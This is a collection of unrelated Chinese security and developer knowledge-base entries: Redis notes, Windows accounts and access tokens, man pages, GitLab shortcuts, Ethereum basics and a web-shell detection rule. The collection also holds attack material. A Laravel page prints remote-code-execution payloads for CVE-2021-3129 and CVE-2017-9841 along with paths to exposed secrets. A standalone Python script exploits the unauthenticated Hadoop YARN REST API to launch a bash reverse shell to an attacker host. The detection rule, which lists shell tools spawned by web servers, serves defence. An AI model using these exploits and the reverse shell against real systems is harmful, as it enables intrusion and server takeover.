快速的查找特性。但是查找表的内容不能失效,而缓存的内容可以失效,因为缓存不作为可靠的数据来源。 ### 消息队列 List 是一个双向链表,可以通过 lpush 和 rpop 写入和读取消息 不过最好使用 Kafka、RabbitMQ 等消息中间件。 ### 会话缓存 可以使用 Redis 来统一存储多台应用服务器的会话信息。 当应用服务器不再存储用户的会话信息,也就不再具有状态,一个用户可以请求任意一个应用服务器,从而更容易实现高可用性以及可伸缩性。 ### 分布式锁实现 在分布式场景下,无法使用单机环境下的锁来对多个节点上的进程进行同步。 可以使用 Redis 自带的 SETNX 命令实现分布式锁,除此之外,还可以使用官方提供的 RedLock 分布式锁实现。 ### 其它 Set 可以实现交集、并集等操作,从而实现共同好友等功能。 ZSet 可以实现有序性操作,从而实现排行榜等功能。 ## 五、Redis 与 Memcached 两者都是非关系型内存键值数据库,主要有以下不同: ### 数据类型 Memcached 仅支持字符串类型,而 Redis 支持五种不同的数据类型,可以更灵活地解决问题。 ### 数据持久化 Redis 支持两种持久化策略:RDB 快照和 AOF 日志,而 Memcached 不支持持久化。 ### 分布式 Memcached 不支持分布式,只能通过在客户端使用一致性哈希来实现分布式存储,这种方式在存储和查询时都需要先在客户端计算一次数据所在的节点。 Redis Cluster 实现了分布式的支持。 ### 内存管理机制 - 在 Redis 中,并不是所有数据都一直存储在内存中,可以将一些很久没用的 value 交换到磁盘,而 Memcached 的数据则会一直在内存中。 - Memcached 将内存分割成特定长度的块来存储数据,以完全解决内存碎片的问题。但是这种方式会使得内存的利用率不高,例如块的大小为 128 bytes,只存储 100 bytes 的数据,那么剩下的 28 bytes 就浪费掉了。 ## 六、键的过期时间 Redis 可以为每个键设置过期时间,当键过期时,会自动删除该键。 对于散列表这种容器,只能为整个键设置过期时间(整个散列表),而不能为键里面的单个元素设置过期时间。 ## 七、数据淘汰策略 可以设置内存最大使用量,当内存使用量超出时,会施行数据淘汰策略。 Redis 具体有 6 种淘汰策略: | 策略 | 描述 | | :--: | :--: | | volatile-lru | 从已设置过期时间的数据集中挑选最近最少使用的数据淘汰 | | volatile-ttl | 从已设置过期时间的数据集中挑选将要过期的数据淘汰 | |volatile-random | 从已设置过期时间的数据集中任意选择数据淘汰 | | allkeys-lru | 从所有数据集中挑选最近最少使用的数据淘汰 | | allkeys-random | 从所有数据集中任意选择数据进行淘汰 | | noeviction | 禁止驱逐数据 | 作为内存数据库,出于对性能和内存消耗的考虑,Redis 的淘汰算法实际实现上并非针对所有 key,而是抽样一小部分并且从中选出被淘汰的 key。 使用 Redis 缓存数据时,为了提高缓存命中率,需要保证缓存数据都是热点数据。可以将内存最大使用量设置为热点数据占用的内存量,然后启用 allkeys-lru 淘汰策略,将最近最少使用的数据淘汰。 Redis 4.0 引入了 volatile-lfu 和 allkeys-lfu 淘汰策略,LFU 策略通过统计访问频率,将访问频率最少的键值对淘汰。 ## 八、持久化 Redis 是内存型数据库,为了保证数据在断电后不会丢失,需要将内存中的数据持久化到硬盘上。 ### RDB 持久化 将某个时间点的所有数据都存放到硬盘上。 可以将快照复制到其它服务器从而创建具有相同数据的服务器副本。 如果系统发生故障,将会丢失最后一次创建快照之后的数据。 如果数据量很大,保存快照的时间会很长。 ### AOF 持久化 将写命令添加到 AOF 文件(Append Only File)的末尾。 使用 AOF 持久化需要设置同步选项,从而确保写命令同步到磁盘文件上的时机。这是因为对文件进行写入并不会马上将内容同步到磁盘上,而是先存储到缓冲区,然后由操作系统决定什么时候同步到磁盘。有以下同步选项: | 选项 | 同步频率 | | :--: | :--: | | always | 每个写命令都同步 | | everysec | 每秒同步一次 | | no | 让操作系统来决定何时同步 | - always 选项会严重减低服务器的性能; - everysec 选项比较合适,可以保证系统崩溃时只会丢失一秒左右的数据,并且 Redis 每秒执行一次同步对服务器性能几乎没有任何影响; - no 选项并不能给服务器性能带来多大的提升,而且也会增加系统崩溃时数据丢失的数量。 随着服务器写请求的增多,AOF 文件会越来越大。Redis 提供了一种将 AOF 重写的特性,能够去除 AOF 文件中的冗余写命令。 ## 九、事务 一个事务包含了多个命令,服务器在执行事务期间,不会改去执行其它客户端的命令请求。 事务中的多个命令被一次性发送给服务器,而不是一条一条发送,这种方式被称为流水线,它可以减少客户端与服务器之间的网络通信次数从而提升性能。 Redis 最简单的事务实现方式是使用 MULTI 和 EXEC 命令将事务操作包围起来。 ## 十、事件 Redis 服务器是一个事件驱动程序。 ### 文件事件 服务器通过套接字与客户端或者其它服务器进行通信,文件事件就是对套接字操作的抽象。 Redis 基于 Reactor 模式开发了自己的网络事件处理器,使用 I/O 多路复用程序来同时监听多个套接字,并将到达的事件传送给文件事件分派器,分派器会根据套接字产生的事件类型调用相应的事件处理器。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/9ea86eb5-000a-4281-b948-7b567bd6f1d8.png" width=""/> </div><br> ### 时间事件 服务器有一些操作需要在给定的时间点执行,时间事件是对这类定时操作的抽象。 时间事件又分为: - 定时事件:是让一段程序在指定的时间之内执行一次; - 周期性事件:是让一段程序每隔指定时间就执行一次。 Redis 将所有时间事件都放在一个无序链表中,通过遍历整个链表查找出已到达的时间事件,并调用相应的事件处理器。 ### 事件的调度与执行 服务器需要不断监听文件事件的套接字才能得到待处理的文件事件,但是不能一直监听,否则时间事件无法在规定的时间内执行,因此监听时间应该根据距离现在最近的时间事件来决定。 事件调度与执行由 aeProcessEvents 函数负责,伪代码如下: ```python def aeProcessEvents(): # 获取到达时间离当前时间最接近的时间事件 time_event = aeSearchNearestTimer() # 计算最接近的时间事件距离到达还有多少毫秒 remaind_ms = time_event.when - unix_ts_now() # 如果事件已到达,那么 remaind_ms 的值可能为负数,将它设为 0 if remaind_ms < 0: remaind_ms = 0 # 根据 remaind_ms 的值,创建 timeval timeval = create_timeval_with_ms(remaind_ms) # 阻塞并等待文件事件产生,最大阻塞时间由传入的 timeval 决定 aeApiPoll(timeval) # 处理所有已产生的文件事件 procesFileEvents() # 处理所有已到达的时间事件 processTimeEvents() ``` 将 aeProcessEvents 函数置于一个循环里面,加上初始化和清理函数,就构成了 Redis 服务器的主函数,伪代码如下: ```python def main(): # 初始化服务器 init_server() # 一直处理事件,直到服务器关闭为止 while server_is_not_shutdown(): aeProcessEvents() # 服务器关闭,执行清理操作 clean_server() ``` 从事件处理的角度来看,服务器运行流程如下: <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/c0a9fa91-da2e-4892-8c9f-80206a6f7047.png" width="350"/> </div><br> ## 十一、复制 通过使用 slaveof host port 命令来让一个服务器成为另一个服务器的从服务器。 一个从服务器只能有一个主服务器,并且不支持主主复制。 ### 连接过程 1. 主服务器创建快照文件,发送给从服务器,并在发送期间使用缓冲区记录执行的写命令。快照文件发送完毕之后,开始向从服务器发送存储在缓冲区中的写命令; 2. 从服务器丢弃所有旧数据,载入主服务器发来的快照文件,之后从服务器开始接受主服务器发来的写命令; 3. 主服务器每执行一次写命令,就向从服务器发送相同的写命令。 ### 主从链 随着负载不断上升,主服务器可能无法很快地更新所有从服务器,或者重新连接和重新同步从服务器将导致系统超载。为了解决这个问题,可以创建一个中间层来分担主服务器的复制工作。中间层的服务器是最上层服务器的从服务器,又是最下层服务器的主服务器。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/395a9e83-b1a1-4a1d-b170-d081e7bb5bab.png" width="600"/> </div><br> ## 十二、Sentinel Sentinel(哨兵)可以监听集群中的服务器,并在主服务器进入下线状态时,自动从从服务器中选举出新的主服务器。 ## 十三、分片 分片是将数据划分为多个部分的方法,可以将数据存储到多台机器里面,这种方法在解决某些问题时可以获得线性级别的性能提升。 假设有 4 个 Redis 实例 R0,R1,R2,R3,还有很多表示用户的键 user:1,user:2,... ,有不同的方式来选择一个指定的键存储在哪个实例中。 - 最简单的方式是范围分片,例如用户 id 从 0\~1000 的存储到实例 R0 中,用户 id 从 1001\~2000 的存储到实例 R1 中,等等。但是这样需要维护一张映射范围表,维护操作代价很高。 - 还有一种方式是哈希分片,使用 CRC32 哈希函数将键转换为一个数字,再对实例数量求模就能知道应该存储的实例。 根据执行分片的位置,可以分为三种分片方式: - 客户端分片:客户端使用一致性哈希等算法决定键应当分布到哪个节点。 - 代理分片:将客户端请求发送到代理上,由代理转发请求到正确的节点上。 - 服务器分片:Redis Cluster。 ## 十四、一个简单的论坛系统分析 该论坛系统功能如下: - 可以发布文章; - 可以对文章进行点赞; - 在首页可以按文章的发布时间或者文章的点赞数进行排序显示。 ### 文章信息 文章包括标题、作者、赞数等信息,在关系型数据库中很容易构建一张表来存储这些信息,在 Redis 中可以使用 HASH 来存储每种信息以及其对应的值的映射。 Redis 没有关系型数据库中的表这一概念来将同种类型的数据存放在一起,而是使用命名空间的方式来实现这一功能。键名的前面部分存储命名空间,后面部分的内容存储 ID,通常使用 : 来进行分隔。例如下面的 HASH 的键名为 article:92617,其中 article 为命名空间,ID 为 92617。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/7c54de21-e2ff-402e-bc42-4037de1c1592.png" width="400"/> </div><br> ### 点赞功能 当有用户为一篇文章点赞时,除了要对该文章的 votes 字段进行加 1 操作,还必须记录该用户已经对该文章进行了点赞,防止用户点赞次数超过 1。可以建立文章的已投票用户集合来进行记录。 为了节约内存,规定一篇文章发布满一周之后,就不能再对它进行投票,而文章的已投票集合也会被删除,可以为文章的已投票集合设置一个一周的过期时间就能实现这个规定。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/485fdf34-ccf8-4185-97c6-17374ee719a0.png" width="400"/> </div><br> ### 对文章进行排序 为了按发布时间和点赞数进行排序,可以建立一个文章发布时间的有序集合和一个文章点赞数的有序集合。(下图中的 score 就是这里所说的点赞数;下面所示的有序集合分值并不直接是时间和点赞数,而是根据时间和点赞数间接计算出来的) <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/f7d170a3-e446-4a64-ac2d-cb95028f81a8.png" width="800"/> </div><br> ## 参考资料 - Carlson J L. Redis in Action[J]. Media.johnwiley.com.au, 2013. - [黄健宏. Redis 设计与实现 [M]. 机械工业出版社, 2014.](http://redisbook.com/index.html) - [REDIS IN ACTION](https://redislabs.com/ebook/foreword/) - [Skip Lists: Done Right](http://ticki.github.io/blog/skip-lists-done-right/) - [论述 Redis 和 Memcached 的差异](http://www.cnblogs.com/loveincode/p/7411911.html) - [Redis 3.0 中文版- 分片](http://wiki.jikexueyuan.com/project/redis-guide) - [Redis 应用场景](http://www.scienjus.com/redis-use-case/) - [Using Redis as an LRU cache](https://redis.io/topics/lru-cache)
sec-knowleage
# T1505-003-web服务产生的可疑进程 ## 来自ATT&CK的描述 攻击者可能会通过Web Shell为web服务器创建后门,以便实现对系统的持久访问。Web Shell是攻击者放置在可公开访问的web服务器上的web脚本,以便通过web服务器进入网络。Web Shell可以提供一套待执行的函数,或是为web服务器所在系统提供命令行界面。 除服务器端脚本之外,Web Shell可能还有客户端接口程序,用于与web服务器通信,例如:[China Chopper](https://attack.mitre.org/software/S0020)(引自:Lee 2013) ## 测试案例 此检测方法将查找常见的Web服务器进程名称,并标识使用脚本语言(cmd,powershell,wscript,cscript),请注意常见的初始配置文件命令(net\net1\whoami\ping\ipconfig)或管理命令(sc)启动的任何进程。看到此活动并不意味着您的服务器立即存在可疑行为,因此您需要自己调整检测语句,以便该检测方法适应您的web应用环境。 ## 检测日志 windows、sysmon日志、以及其他可记录进程、命令行参数的EDR产品 ## 测试复现 暂无 ## 测试留痕 ```yml - <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event"> - <System> <Provider Name="Microsoft-Windows-Security-Auditing" Guid="{54849625-5478-4994-A5BA-3E3B0328C30D}" /> <EventID>4688</EventID> <Version>2</Version> <Level>0</Level> <Task>13312</Task> <Opcode>0</Opcode> <Keywords>0x8020000000000000</Keywords> <TimeCreated SystemTime="2015-11-12T02:24:52.377352500Z" /> <EventRecordID>2814</EventRecordID> <Correlation /> <Execution ProcessID="4" ThreadID="400" /> <Channel>Security</Channel> <Computer>WIN-GG82ULGC9GO.contoso.local</Computer> <Security /> </System> - <EventData> <Data Name="SubjectUserSid">S-1-5-18</Data> <Data Name="SubjectUserName">WIN-GG82ULGC9GO$</Data> <Data Name="SubjectDomainName">CONTOSO</Data> <Data Name="SubjectLogonId">0x3e7</Data> <Data Name="NewProcessId">0x2bc</Data> <Data Name="NewProcessName">C:\\Windows\\System32\\rundll32.exe</Data> <Data Name="TokenElevationType">%%1938</Data> <Data Name="ProcessId">0xe74</Data> <Data Name="CommandLine" /> <Data Name="TargetUserSid">S-1-5-21-1377283216-344919071-3415362939-1104</Data> <Data Name="TargetUserName">dadmin</Data> <Data Name="TargetDomainName">CONTOSO</Data> <Data Name="TargetLogonId">0x4a5af0</Data> <Data Name="ParentProcessName">C:\\Windows\\explorer.exe</Data> <Data Name="MandatoryLabel">S-1-16-8192</Data> </EventData> </Event> ``` ## 检测规则/思路 ### sigma规则 ```yml title: web服务产生的可疑进程 status: experimental #测试状态 description: Web服务器产生的可疑的shell进程,可能是成功放置Web shell或其他攻击的结果 logsource: category: process_creation #进程创建 product: windows #数据源,windows detection: selection: ParentImage: - '*\w3wp.exe' - '*\httpd.exe' - '*\nginx.exe' - '*\php-cgi.exe' - '*\tomcat.exe' - '*\sqlservr.exe' Image: - '*\cmd.exe' - '*\sh.exe' - '*\bash.exe' - '*\powershell.exe' - '*\bitsadmin.exe' - '*\cscript.exe' - '*\wscript.exe' - '*\net.exe' - '*\net1.exe' - '*\ping.exe' - '*\whoami.exe' condition: selection fields: - CommandLine - ParentCommandLine tags: - attack.persistence - attack.t1505.003 - attack.privilege_escalation # an old one - attack.t1190 falsepositives: - 特定的web应用程序可以合法地派生shell进程,如ipconfig、whoami等进程,在部分客户侧,发现此两进程频繁被调用,其主机并无异常。 level: high ``` ## 备注 整体检测思路,攻击者通过webshell执行一些信息收集的命令,如ipconfig等命令。此类行为在windows日志上的表现形式为,用户调用了常见的中间件的进程,执行了某些命令。此规则检测思路便是来源于此,仅仅适用于windows平台,可自行添加常见的用于信息收集或者其他目的的命令行参数,不断完善规则。 ## 参考推荐 MITRE-ATT&CK-T1505-003 <https://attack.mitre.org/techniques/T1505/003/> Web服务器执行可疑应用程序 <https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries/blob/master/Execution/Webserver%20Executing%20Suspicious%20Applications.md>
sec-knowleage
logsave === 将命令的输出信息保存到指定的日志文件 ## 补充说明 **logsave命令** 运行给定的命令,并将命令的输出信息保存到指定的日志文件中。 ### 语法 ```shell logsave(选项)(参数) ``` ### 选项 ```shell -a:追加信息到指定的日志文件中。 ``` ### 参数 * 日志文件:指定记录运行信息的日志文件; * 指令:需要执行的指令。
sec-knowleage
# 角色权限 --- ## 用户帐户 在 Windows vista 或是 windows 7中,有两个级别的用户:标准用户和管理员. - 标准用户是计算机 Users 组的成员; - 管理员是计算机 Administrators 组的成员. **Windows 内置用户账户** 权限:System > Administrator > User > Guest 与windows组件关联的用户账户 - System (本地系统):为 windows 的核心组件访问文件等资源提供权限 - Local Service (本地服务):预设的拥有最小权限的本地账户 - Network Service (网络服务):具有运行网络服务权限的计算机账户 --- ## 组账户 组是一些用户的集合 组内的用户自动具备为组所设置的权限 administators 组内的用户,都具备系统管理员的权限,它们拥有对这台计算机最大的控制权限,可以执行整台计算机的管理任务。内置的系统管理员账号 Administrator 就是本地组的成员,而且无法将它从该组删除。如果这台计算机已加入域,则域的 Domain Admins 会自动地加入到该计算机的 Administrators 组内。也就是说,域上的系统管理员在这台计算机上也具备着系统管理员的权限。 Guests 组是提供给没有用户帐户但是需要访问本地计算机内资源的用户使用,该组的成员无法永久地改变其桌面的工作环境。该组最常见的默认成员为用户帐号 Guest。 Power Users 组内的用户具备比 Users 组更多的权利,但是比 Administrators 组拥有的权利更少一些,例如,可以:创建、删除、更改本地用户帐户;创建、删除、管理本地计算机内的共享文件夹与共享打印机;自定义系统设置,例如更改计算机时间、关闭计算机等。但是不可以更改 Administrators,无法夺取文件的所有权、无法备份与还原文件、无法安装删除与删除设备驱动程序、无法管理安全与审核日志。 Users 组内的成员只拥有一些基本的权利,例如运行应用程序,但是他们不能修改操作系统的设置、不能更改其它用户的数据、不能关闭服务器级的计算机。所有添加的本地用户帐户者自动属于 Users 组。如果这台计算机已经加入域,则域的 Domain Users 会自动地被加入到该计算机的 Users 组中。 Remote Desktop Users 组内的成员拥有远程桌面登录的权限。默认 Administrators 组内的成员都拥有远程桌面的权限。 --- ## Windows Access Token Windows Token 其实叫 Access Token(访问令牌),它是一个描述进程或者线程安全上下文的一个对象。不同的用户登录计算机后, 都会生成一个 Access Token,这个 Token 在用户创建进程或者线程时会被使用,不断的拷贝,这也就解释了 A 用户创建一个进程而该 进程没有 B 用户的权限。 Access Token 种类: - 主令牌 - 模拟令牌 一般情况下,用户双击运行一个程序,都会拷贝 “explorer.exe” 的 Access Token。 当用户注销后,系统将会使主令牌切换为模拟令牌,不会将令牌清除,只有在重启机器后才会清除。 **Windows Access Token 组成** - 用户帐户的安全标识符(SID) - 用户所属的组的 SID - 用于标识当前登录会话的登录 SID - 用户或用户组所拥有的权限列表 - 所有者 SID - 主要组的 SID - 访问控制列表 - 访问令牌的来源 - 令牌是主要令牌还是模拟令牌 - 限制 SID 的可选列表 - 目前的模拟等级 - 其他统计数据 **SID 安全标识符** 安全标识符是一个唯一的字符串,它可以代表一个账户、一个用户 组、或者是一次登录。通常它还有一个 SID 固定列表,例如 Everyone 这种已经内置的账户,默认拥有固定的 SID。 SID 的表现形式: - 域 SID-用户 ID - 计算机 SID-用户 ID - SID 列表都会存储在域控的 AD 或者计算机本地账户数据库中。 查看用户的SID ``` whoami /user # 查看系统当前用户的SID wmic useraccount get name,sid # 查看所有用户的SID ``` **Windows Access Token 产生过程** 每个进程创建时都会根据登录会话权限由 LSA(Local Security Authority)分配一个 Token(如果 CreaetProcess 时自己指定了 Token, LSA 会用该 Token, 否则就用父进程 Token 的一份拷贝。 --- ## Source & Reference - [彻底理解Windows认证 - 议题解读](https://payloads.online/archivers/2018-11-30/1)
sec-knowleage
# Laravel Common Bugs ## Introduction What would you do if you came across a website that uses Laravel? ## How to Detect Usually in the HTTP response there is a header like this `Set-Cookie: laravel_session=` 1. Find the related CVE by checking laravel version * How to find the laravel version By checking the composer file in `https://example.com/composer.json`, sometimes the version is printed there. If you found outdated laravel version, find the CVEs at [CVEDetails](https://www.cvedetails.com/vulnerability-list/vendor_id-16542/product_id-38139/Laravel-Laravel.html) Some example CVE: - CVE-2021-3129 (Remote Code Execution) ``` POST /_ignition/execute-solution HTTP/1.1 Host: example.com Accept: application/json Content-Type: application/json {"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "cve20213129", "viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"}} ``` 2. Laravel 4.8.28 ~ 5.x - PHPUnit Remote Code Execution (CVE-2017-9841) ``` curl -d "<?php echo php_uname(); ?>" http://example.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php ``` 3. Exposed environment variables * Full Path Exploit : http://example.com/.env 4. Exposed log files * Full Path Exploit : http://example.com/storage/logs/laravel.log 5. Laravel Debug Mode Enabled * Try to request to https://example.com using POST method (Error 405) * Using [] in paramater (ex:example.com/param[]=0) ## References * [Nakanosec](https://www.nakanosec.com/2020/02/common-bug-pada-laravel.html)
sec-knowleage
#!/usr/bin/env python import requests target = 'http://127.0.0.1:8088/' lhost = '192.168.0.1' # put your local host ip here, and listen at port 9999 url = target + 'ws/v1/cluster/apps/new-application' resp = requests.post(url) app_id = resp.json()['application-id'] url = target + 'ws/v1/cluster/apps' data = { 'application-id': app_id, 'application-name': 'get-shell', 'am-container-spec': { 'commands': { 'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost, }, }, 'application-type': 'YARN', } requests.post(url, json=data)
sec-knowleage
#sec-lib - 这是个私人建立的关于移动安全的知识库; - 抄袭了梓航的[secmobi](https://github.com/secmobi/wiki.secmobi.com); - 这个git应该是不定期维护的。 ##目录 ###[恶意代码](恶意代码) ###[工具](工具) ###[风险&漏洞](bugs/bug-list.md) ###[IOT](IOT) ###[书籍](书籍) ###[开源项目](开源项目) ###[团队](团队) ###[其他](其他) ###[安全事记](安全事记) ## Stargazers over time [![Stargazers over time](https://starchart.cc/dr0v/sec-lib.svg)](https://starchart.cc/dr0v/sec-lib) **** ##关于 author: [drov_liu](none)
sec-knowleage
.\" Copyright (c) 1990 The Regents of the University of California. .\" All rights reserved. .\" .\" This code is derived from software contributed to Berkeley by .\" Michael Rendell. .\" .\" Redistribution and use in source and binary forms, with or without .\" modification, are permitted provided that the following conditions .\" are met: .\" 1. Redistributions of source code must retain the above copyright .\" notice, this list of conditions and the following disclaimer. .\" 2. Redistributions in binary form must reproduce the above copyright .\" notice, this list of conditions and the following disclaimer in the .\" documentation and/or other materials provided with the distribution. .\" 3. All advertising materials mentioning features or use of this software .\" must display the following acknowledgement: .\" This product includes software developed by the University of .\" California, Berkeley and its contributors. .\" 4. Neither the name of the University nor the names of its contributors .\" may be used to endorse or promote products derived from this software .\" without specific prior written permission. .\" .\" THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND .\" ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE .\" IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE .\" ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE .\" FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL .\" DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS .\" OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) .\" HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT .\" LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY .\" OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF .\" SUCH DAMAGE. .\" .\" @(#)col.1 6.8 (Berkeley) 6/17/91 .\" .TH col 1 1991年6月17日 "COL 1" .SH NAME(名称) col \- 过滤掉输入中的反向换行符 .SH SYNOPSIS(总览) .B col [ .B -bfx ] [ .B -l .IR num ] .SH DESCRIPTION(描述) .B col 过滤掉反向(以及半反向)换行符(LF: line feed or NL: new line), 这样输出按正常顺序,即只包括正向和半正向换行符, 而且在可能的地方使用tab替换白空格.这对 nroff(1) 和 tbl(1) 的输出处理很有用处. .PP .B col 从标准输出读入,并写出到标准输出上. .PP 选项如下: .TP -b 不输出任何退格符,在每列的位置上只打印最后写的那个字符. .TP -f 允许正向半换行符(``fine''模式). 通常,处于半行分界线上的字符打印在下一行. .TP -x 输出多个空格以替换tab. .TP -l num 在内存中至少缓冲 .IR num 行. 默认情况下,缓冲128行. .PP .B col 所能理解的用于回车操作的控制序列以及它们的十进制值都列在下面的表中: .PP .IP ESC\-7 反向换行符(escape后接7) .IP ESC\-8 反向半换行符(escape后接8) .IP ESC\-9 正向半换行符(escape后接9) .IP backspace 反向移动一列(8);在第一列则忽略. .TP carriage return (13) .IP newline 正向换行符(10);同时执行回车(carriage return)操作 .TP shift in 转到正常字符集(15) .TP shift out 转到备选的字符集(14) .IP space 正向移动一列(32) .IP tab 正向移动到下一个tab(9) .TP vertical tab 反向换行符(11) .PP 丢弃所有不被承认的控制字符和escape序列. .PP 当读取字符时, .B col 保持着与字符集的联系,而且在输出时确保字符集是正确的. .PP 如果输入设备试图回复到最近被刷新的行, .B col 会显示一条警告消息. .SH SEE ALSO(另见) .BR expand (1) .BR nroff (1) .BR tbl (1) .SH HISTORY(历史) .B col 命令出现于AT&T UNIX版本6. .SH "[中文版维护人]" .B riser <boomer@ccidnet.com> .SH "[中文版最新更新]" 2000/12/6 .SH 《中国Linux论坛man手册页翻译计划》: .B http://cmpp.linuxforum.net
sec-knowleage
--- title: GitLab date: 2022-11-23 16:23:31.693478 background: bg-[#e47030] label: tags: - - categories: - Keyboard Shortcuts intro: | A visual cheat-sheet for the 58 keyboard shortcuts found in GitLab --- Keyboard Shortcuts ------------------ ### Global Shortcut | Action ---|--- `?` | Show or hide the shortcut reference sheet `Shift` `P` | Go to your projects page `Shift` `G` | Go to your groups page `Shift` `A` | Go to your activity page `Shift` `L` | Go to your milestones page `Shift` `S` | Go to your snippets page `S` | Put the cursor in the issues or merge requests search `Shift` `I` | Go to your issues page `Shift` `T` | Go to your merge requests page `P` `B` | Show or hide the performance bar `Up` | Edit your last comment, you must be in a blank text field below a thread `Ctrl` `Shift` `P` | Toggle markdown preview when editing text in a text field {.shortcuts} ### Project Shortcut | Action ---|--- `G` `P` | Go to the project home page `G` `V` | Go to the project activity feed `G` `R` | Go to the project releases list `G` `F` | Go to the project files list `T` | Go to the project file search page `G` `C` | Go to the project commits list `G` `N` | Go to the repository graph page `G` `D` | Go to the repository charts `G` `I` | Go to the project issues list `I` | Go to the new issue page `G` `B` | Go to the project issues boards list `G` `M` | Go to the project merge requests list `G` `J` | Go to the CI/CD jobs list `G` `L` | Go to the project metrics `G` `E` | Go to the project environments `G` `K` | Go to the project Kubernetes cluster integration page `G` `S` | Go to the project snippets list `G` `W` | Go to the project wiki, if enabled {.shortcuts} ### Issues and Merge Requests Shortcut | Action ---|--- `E` | Edit description `A` | Change assignee `M` | Change milestone `L` | Change label `R` | Start writing a comment, if any text is selected it will be quoted `N` | Move to next unresolved discussion, merge requests only `P` | Move to previous unresolved discussion, merge requests only `]` | Move to next file, merge requests only `[` | Move to previous file, merge requests only {.shortcuts} ### Project Files Shortcut | Action ---|--- `Up` | Move selection up `Down` | Move selection down `Enter` | Open selection `Esc` | Go back to file list screen, only while searching for files `Y` | Go to file permalink, only while viewing a file {.shortcuts} ### Web IDE Shortcut | Action ---|--- `Ctrl` `P` | Search for, and then open, another file for editing `Ctrl` `Enter` | Commit, when editing the commit message {.shortcuts} ### Repository Graph Shortcut | Action ---|--- `Left` | Scroll left `Right` | Scroll right `Up` | Scroll up `Down` | Scroll down `Shift` `Up` | Scroll to top `Shift` `Down` | Scroll to bottom {.shortcuts} ### Wiki Pages Shortcut | Action ---|--- `E` | Edit wiki page {.shortcuts} ### Filtered Search Shortcut | Action ---|--- `Ctrl` `Backspace` | Clear entire search filter `Alt` `Backspace` | Clear one token at a time {.shortcuts} ### Epics Shortcut | Action ---|--- `R` | Start writing a comment, if any text is selected it will be quoted `E` | Edit description `L` | Change a label {.shortcuts} Also see -------- - [Keyboard shortcuts for GitLab](https://docs.gitlab.com/ee/user/shortcuts.html) _(docs.gitlab.com)_
sec-knowleage
### Ethereum Basics Solidity > Solidity is an object-oriented programming language for writing smart contracts. It is used for implementing smart contracts on various blockchain platforms, most notably, Ethereum. It was developed by Christian Reitwiessner, Alex Beregszaszi, and several former Ethereum core contributors to enable writing smart contracts on blockchain platforms such as Ethereum. ------ from [wikipedia](https://en.wikipedia.org/wiki/Solidity) Solidity 是一种用于编写智能合约的高级语言,语法类似于 JavaScript。在以太坊平台上,Solidity 编写的智能合约可以被编译成字节码在以太坊虚拟机 EVM 上运行。 可参考 [官方网站](https://docs.soliditylang.org/en/latest/) 进行学习,不再展开介绍。 ### Ethereum BasicsMetaMask 非常好用也是用的最多的以太坊钱包,头像是小狐狸标识,Chrome 提供了其插件,其不仅可以管理外部账户,而且可以便捷切换测试链网络,并且可以自定义 RPC 网络。 !!! info 一个外部账户通常由私钥文件控制,拥有私钥的用户就可以拥有对应地址的账户里的 Ether 使用权。我们通常把管理这些数字密钥的软件称为钱包,而我们所说的备份钱包其实就是备份账户的私钥文件。 ### Ethereum BasicsRemix 基于浏览器的 Solidity 编译器和集成开发环境,提供了交互式界面,以及编译、调用测试、发布等一系列功能,使用十分方便。[http://remix.ethereum.org/](http://remix.ethereum.org/#optimize=false&runs=200&evmVersion=null) ### Ethereum Basics账户 在以太坊中,一个重要的概念就是账户(Account)。 在以太坊中存在两种类型的账户,分别是外部账户(Externally Owned Account, EOA)和合约账户。 #### 外部账户 外部账户是由人创建的,可以存储以太币,是由公钥和私钥控制的账户。每个外部账户拥有一对公私钥,这对密钥用于签署交易,它的地址由公钥决定。外部账户不能包含以太坊虚拟机(EVM)代码。 一个外部账户具有以下特性 - 拥有一定的 Ether - 可以发送交易、通过私钥控制 - 没有相关联的代码 #### 合约账户 合约账户是由外部账户创建的账户,包含合约代码。合约账户的地址是由合约创建时合约创建者的地址,以及该地址发出的交易共同计算得出的。 一个合约账户具有以下特性 - 拥有一定的 Ether - 有相关联的代码,代码通过交易或者其他合约发送的调用来激活 - 当合约被执行时,只能操作合约账户拥有的特定存储 !!! note 私钥经过一种哈希算法(椭圆曲线算法 ECDSA-secp256k1 )计算生成公钥,计算公钥的 Keccak-256 哈希值,然后取最后 160 位二进制(通常表现为 40 位的 16 进制字符串)形成了地址。其中,公钥和地址都是可以公布的,而私钥,你只能自己悄悄的藏起来,不要丢失,因为你的账户中的资产也会跟着丢掉;不要被别人盗取,因为账户中的资产也会随着被盗取。所以,私钥的保存非常重要。 以太坊中,这两种账户统称为“状态对象”(存储状态)。其中外部账户存储以太币余额状态,而合约账户除了余额还有智能合约及其变量的状态。通过交易的执行,这些状态对象发生变化,而 Merkle 树用于索引和验证状态对象的更新。一个以太坊的账户包含 